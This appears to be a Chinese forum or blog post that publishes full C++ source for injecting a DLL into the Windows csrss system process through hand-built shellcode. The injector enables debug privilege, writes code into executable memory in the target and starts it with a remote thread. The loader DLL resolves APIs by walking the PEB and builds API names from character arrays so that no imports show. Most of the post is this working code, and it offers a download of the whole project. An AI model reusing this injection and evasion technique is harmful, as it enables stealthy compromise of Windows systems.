欢迎来到 嗅灵易学

零基础也能上手的脚本技术课,一对一答疑带你入门

[原创]纯C++编写Win32/X64通用Shellcode注入csrss进程.

[原创]纯C++编写Win32/X64通用Shellcode注入csrss进程.

这是做的一些研究,觉得没什么用处,人生不应该把精力放在这些小打小闹的垃圾玩意身上;先讲一下文章的主题这样做的目的,这样做免去了用汇编代码限制,纯C++编写的东西移植性高.
注入csrss进程要点:只能用导入表之存在ntdll的dll进行注入,否则会失败.其他要点基本上没什么了,csrss进程pid使用CsrGetProcessId函数获取,免去了遍历进程的痛苦.
看下我们的注入器(这是Win32/x64通用的).

#include "main.h"

#include "base/component_name.h"

namespace bootldr{

	static HANDLE WINAPI ShellcodeBegin(PTHREAD_DATA parameter){

		if (parameter->fnRtlInitUnicodeString != nullptr&¶meter->fnLdrLoadDll != nullptr){

			UNICODE_STRING UnicodeString;

			parameter->fnRtlInitUnicodeString(&UnicodeString, parameter->dllpath);

			HANDLE module_handle = nullptr;

			return (HANDLE)parameter->fnLdrLoadDll(nullptr, nullptr, &UnicodeString, &module_handle);

		}

		else{

			return (HANDLE)-3;

		}

	}

	static DWORD WINAPI ShellcodeEnd(){

		return 0;

	}

	static bool SetProcessPrivilege(DWORD SE_DEBUG_PRIVILEGE = 0x14){

		BOOLEAN bl;

		RtlAdjustPrivilege(SE_DEBUG_PRIVILEGE, TRUE, FALSE, &bl);

		return bl;

	}

	static bool ProcessInternalExecute(PTHREAD_DATA parameter,DWORD process_id){

		HANDLE hProcess = nullptr;

		CLIENT_ID cid = { (HANDLE)process_id, nullptr };

		OBJECT_ATTRIBUTES oa;

		InitializeObjectAttributes(&oa, NULL, 0, NULL, NULL);

		if (!NT_SUCCESS(NtOpenProcess(&hProcess, PROCESS_ALL_ACCESS, &oa, &cid))){

			return false;

		}

		PVOID data = VirtualAllocEx(hProcess, NULL, 0x2000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

		PVOID code = VirtualAllocEx(hProcess, NULL, 0x2000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

		if (!data || !code){

			NtClose(hProcess);

			return false;

		}

		NtWriteVirtualMemory(hProcess, data, parameter, sizeof(THREAD_DATA), NULL);

		NtWriteVirtualMemory(hProcess, code, (PVOID)ShellcodeBegin, (ULONG)((LPBYTE)ShellcodeEnd - (LPBYTE)ShellcodeBegin), NULL);

		HANDLE hThread = nullptr;

		if (!NT_SUCCESS(RtlCreateUserThread(hProcess, NULL, FALSE, 0, 0, 0, code, data, &hThread, NULL))){

			NtClose(hProcess);

			return false;

		}

		NtWaitForSingleObject(hThread, FALSE, NULL);

		DWORD exit_code = -1;

		GetExitCodeThread(hThread, &exit_code);

		NtClose(hThread);

		VirtualFreeEx(hProcess, data, 0, MEM_RELEASE);

		VirtualFreeEx(hProcess, code, 0, MEM_RELEASE);

		NtClose(hProcess);

		return (exit_code==0);

	}

	std::wstring GetAbsolutePath(const std::wstring& name){

		wchar_t fileName[MAX_PATH] = {0};

		GetModuleFileNameW(NULL, fileName, MAX_PATH);

		PathRemoveFileSpec(fileName);

		return std::wstring(fileName).append(name);

	}

	void SetShellcodeLdrModulePath(PTHREAD_DATA parameter,const std::wstring& srcfile){

		wcscpy_s(parameter->dllpath, srcfile.c_str());

	}

}

int WINAPI wWinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPWSTR lpCmdLine,int nShowCmd){

	THREAD_DATA parameter = {0};

	parameter.fnRtlInitUnicodeString = (pRtlInitUnicodeString)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlInitUnicodeString");

	parameter.fnLdrLoadDll = (pLdrLoadDll)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "LdrLoadDll");

	parameter.fnGetTempPathW = (pGetTempPathW)GetProcAddress(GetModuleHandleW(L"kernel32.dll"), "GetTempPathW");

	parameter.fnGetSystemDirectoryW = (pGetSystemDirectoryW)GetProcAddress(GetModuleHandleW(L"kernel32.dll"), "GetSystemDirectoryW");

	parameter.fnGetVolumeInformationW = (pGetVolumeInformationW)GetProcAddress(GetModuleHandleW(L"kernel32.dll"), "GetVolumeInformationW");

	bootldr::SetProcessPrivilege();

	bootldr::SetShellcodeLdrModulePath(¶meter, bootldr::GetAbsolutePath(base::kBootldrName));

	bootldr::ProcessInternalExecute(¶meter, GetCurrentProcessId()/*CsrGetProcessId()*/);

    return 0;

}

这里再看一下我们的shellcode式的加载器,该动态库加载一个第三方dll,没有导入任何函数,全部函数通过动态获取(如果你不知道怎么动态获取,请先去研究PEB链表).
namespace Function{

	HANDLE GetKernel32Handle(){

		HANDLE hKernel32 = INVALID_HANDLE_VALUE;

#ifdef _WIN64

		PPEB lpPeb = (PPEB)__readgsqword(0x60);

#else

		PPEB lpPeb = (PPEB)__readfsdword(0x30);

#endif

		PLIST_ENTRY pListHead = &lpPeb->Ldr->InMemoryOrderModuleList;

		PLIST_ENTRY pListEntry = pListHead->Flink;

		WCHAR strDllName[MAX_PATH];

		WCHAR strKernel32[] = { 'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l', L'\0' };

		while (pListEntry != pListHead){

			PLDR_DATA_TABLE_ENTRY pModEntry = CONTAINING_RECORD(pListEntry, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);

			if (pModEntry->FullDllName.Length){

				DWORD dwLen = pModEntry->FullDllName.Length;

				__MEMCPY__(strDllName, pModEntry->FullDllName.Buffer, dwLen);

				strDllName[dwLen / sizeof(WCHAR)] = L'\0';

				if (__STRSTRIW__(strDllName, strKernel32)){

					hKernel32 = pModEntry->DllBase;

					break;

				}

			}

			pListEntry = pListEntry->Flink;

		}

		return hKernel32;

	}

	BOOL Initialize(){

		HANDLE hKernel32 = GetKernel32Handle();

		if (hKernel32 == INVALID_HANDLE_VALUE){

			return FALSE;

		}

		LPBYTE lpBaseAddr = (LPBYTE)hKernel32;

		PIMAGE_DOS_HEADER lpDosHdr = (PIMAGE_DOS_HEADER)lpBaseAddr;

		PIMAGE_NT_HEADERS pNtHdrs = (PIMAGE_NT_HEADERS)(lpBaseAddr + lpDosHdr->e_lfanew);

		PIMAGE_EXPORT_DIRECTORY pExportDir = (PIMAGE_EXPORT_DIRECTORY)(lpBaseAddr + pNtHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

		LPDWORD pNameArray = (LPDWORD)(lpBaseAddr + pExportDir->AddressOfNames);

		LPDWORD pAddrArray = (LPDWORD)(lpBaseAddr + pExportDir->AddressOfFunctions);

		LPWORD pOrdArray = (LPWORD)(lpBaseAddr + pExportDir->AddressOfNameOrdinals);

		CHAR strLoadLibraryA[] = { 'L', 'o', 'a', 'd', 'L', 'i', 'b', 'r', 'a', 'r', 'y', 'W', 0x0 };

		CHAR strGetProcAddress[] = { 'G', 'e', 't', 'P', 'r', 'o', 'c', 'A', 'd', 'd', 'r', 'e', 's', 's', 0x0 };

		for (UINT i = 0; i < pExportDir->NumberOfNames; i++){

			LPSTR pFuncName = (LPSTR)(lpBaseAddr + pNameArray[i]);

			if (!__STRCMPI__(pFuncName, strGetProcAddress)){

				GetProcAddressAPI = (FARPROC(WINAPI*)(HMODULE, LPCSTR))(lpBaseAddr + pAddrArray[pOrdArray[i]]);

			}

			else if (!__STRCMPI__(pFuncName, strLoadLibraryA)){

				LoadLibraryWAPI = (HMODULE(WINAPI*)(LPCWSTR))(lpBaseAddr + pAddrArray[pOrdArray[i]]);

			}

			if (GetProcAddressAPI != nullptr && LoadLibraryWAPI != nullptr){

				return TRUE;

			}

		}

		return FALSE;

	}

	FARPROC GetAddress(const char* function_name){

#ifdef OS_WIN_64

		PPEB lpPeb = (PPEB)__readgsqword(0x60);

#else

		PPEB lpPeb = (PPEB)__readfsdword(0x30);

#endif

		PLIST_ENTRY pListHead = &lpPeb->Ldr->InMemoryOrderModuleList;

		PLIST_ENTRY pListEntry = pListHead->Flink;

		while (pListEntry != pListHead){

			PLDR_DATA_TABLE_ENTRY pModEntry = CONTAINING_RECORD(pListEntry, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);

			if (pModEntry->FullDllName.Length){

				FARPROC address = GetProcAddressAPI(LoadLibraryWAPI(pModEntry->FullDllName.Buffer), function_name);

				if (address){

					return address;

				}

			}

			pListEntry = pListEntry->Flink;

		}

		return nullptr;

	}

	bool ImportDll(){

		using OLE_INITIALIZE = HRESULT(WINAPI*)(LPVOID);

		wchar_t dll_ole32[] = { L'O', L'l', L'e', L'3', L'2', L'.', L'd', L'l', L'l', 0 };

		char dll_ole32_api[] = { 'O', 'l', 'e', 'I', 'n', 'i', 't', 'i', 'a', 'l', 'i', 'z', 'e', 0 };

		OLE_INITIALIZE ole_initialize = reinterpret_cast<OLE_INITIALIZE>(GetProcAddressAPI(LoadLibraryWAPI(dll_ole32), dll_ole32_api));

		using INIT_COMMON_CONTROLS_EX = void (WINAPI*)(const void*);

		wchar_t dll_comctl32[] = { L'C', L'o', L'm', L'c', L't', L'l', L'3', L'2', L'.', L'd', L'l', L'l', 0 };

		char dll_comctl32_api[] = { 'I', 'n', 'i', 't', 'C', 'o', 'm', 'm', 'o', 'n', 'C', 'o', 'n', 't', 'r', 'o', 'l', 's', 'E', 'x', 0 };

		INIT_COMMON_CONTROLS_EX init_common_controls_ex = reinterpret_cast<INIT_COMMON_CONTROLS_EX>(GetProcAddressAPI(LoadLibraryWAPI(dll_comctl32), dll_comctl32_api));

		if (ole_initialize == nullptr || init_common_controls_ex == nullptr){

			return false;

		}

		init_common_controls_ex(nullptr);

		return (ole_initialize(nullptr) == S_OK);

	}

	HMODULE LoadPluginEngine(HMODULE hModule, const wchar_t* name){

		DWORD(WINAPI* GetModuleFileNameWAPI)(HMODULE, LPWSTR, DWORD);

		GetModuleFileNameWAPI = (DWORD(WINAPI*)(HMODULE, LPWSTR, DWORD))Function::GetAddress("GetModuleFileNameW");

		HRESULT(STDAPICALLTYPE* PathRemoveFileSpecWPI)(LPWSTR);

		PathRemoveFileSpecWPI = (HRESULT(STDAPICALLTYPE*)(LPWSTR))Function::GetAddress("PathRemoveFileSpecW");

		if (GetModuleFileNameWAPI!=nullptr&&PathRemoveFileSpecWPI != nullptr){

			wchar_t fileName[MAX_PATH];

			GetModuleFileNameWAPI(hModule, fileName, MAX_PATH);

			PathRemoveFileSpecWPI(fileName);

			__STRCATW__(fileName, (LPWSTR)name);

			return LoadLibraryWAPI(fileName);

		}

		return nullptr;

	}

}

BOOL WINAPI DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved){

	static HMODULE ldr = nullptr;

	if(ul_reason_for_call==DLL_PROCESS_ATTACH){

		Function::Initialize();

		Function::ImportDll();

		if (DisableThreadLibraryCallsAPI == nullptr){

			DisableThreadLibraryCallsAPI = (BOOL(WINAPI*)(HMODULE))Function::GetAddress("DisableThreadLibraryCalls");

			DisableThreadLibraryCallsAPI(hModule);

		}

		if (RtlAdjustPrivilege==nullptr){

			BOOLEAN enabled_privilege = 0;

			const DWORD SE_DEBUG_PRIVILEGE = 0x14;

			RtlAdjustPrivilege = (ULONG(NTAPI*)(ULONG, BOOLEAN, BOOLEAN, PBOOLEAN))Function::GetAddress("RtlAdjustPrivilege");

			RtlAdjustPrivilege(SE_DEBUG_PRIVILEGE, TRUE, FALSE, &enabled_privilege);

		}

		ldr = Function::LoadPluginEngine(hModule, base::kPluginLdrName);

		return (ldr != nullptr);

	}

	if (ul_reason_for_call == DLL_PROCESS_DETACH){

		if (FreeLibraryAPI == nullptr){

			FreeLibraryAPI = (BOOL(WINAPI*)(HMODULE))Function::GetAddress("FreeLibrary");

			return (FreeLibraryAPI(ldr));

		}

	}

	return FALSE;

}

总结,这些东西真的基本上没啥用处,也不用掖着藏着了,整个工程请下载附件.

上传的附件 src.7z

注意:上传附件及图片大小不得大于30M。

⚠️ 版权声明:
本博客所有内容(含教程、源码、工具)仅供个人技术学习与研究交流使用,严禁商用、倒卖、二次分发及非法用途
未经作者书面授权,任何组织或个人不得转载、复制或用于其他平台,违者将追究相关责任。

0 0 0 举报
复制成功